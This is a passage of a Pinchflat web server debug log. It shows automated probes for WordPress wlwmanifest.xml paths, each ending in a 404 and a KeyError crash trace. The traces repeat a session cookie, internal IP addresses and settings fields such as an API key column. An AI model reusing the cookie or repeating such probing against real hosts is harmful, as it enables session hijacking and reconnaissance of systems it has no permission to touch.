s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:42.618 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:42.618 [error] #PID<0.14618.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //shop/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14618.0>, params: %{}, path_info: ["shop", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//shop/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKf_oaufz2toAA4QC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 01:25:43.214 [info] GET //test/wp-includes/wlwmanifest.xml 01:25:43.214 [debug] QUERY OK source="settings" db=0.2ms idle=1185.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:43.214 [debug] QUERY OK source="settings" db=0.1ms idle=1185.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:43.215 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:43.215 [error] #PID<0.14619.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //test/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14619.0>, params: %{}, path_info: ["test", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//test/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKiN3MLpcbRwAA4SC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 01:25:43.811 [info] GET //wp2/wp-includes/wlwmanifest.xml 01:25:43.812 [debug] QUERY OK source="settings" db=0.1ms idle=920.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:43.812 [debug] QUERY OK source="settings" db=0.0ms idle=597.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:43.812 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:43.812 [error] #PID<0.14620.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 9) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wp2/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp2/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14620.0>, params: %{}, path_info: ["wp2", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wp2/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKkcWTr_2ydUAA4UC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp2/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, (truncated) 01:25:44.408 [info] GET //cms/wp-includes/wlwmanifest.xml 01:25:44.409 [debug] QUERY OK source="settings" db=0.1ms idle=719.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:44.409 [debug] QUERY OK source="settings" db=0.1ms idle=719.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:44.409 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:44.409 [error] #PID<0.14621.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 10) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //cms/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14621.0>, params: %{}, path_info: ["cms", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", 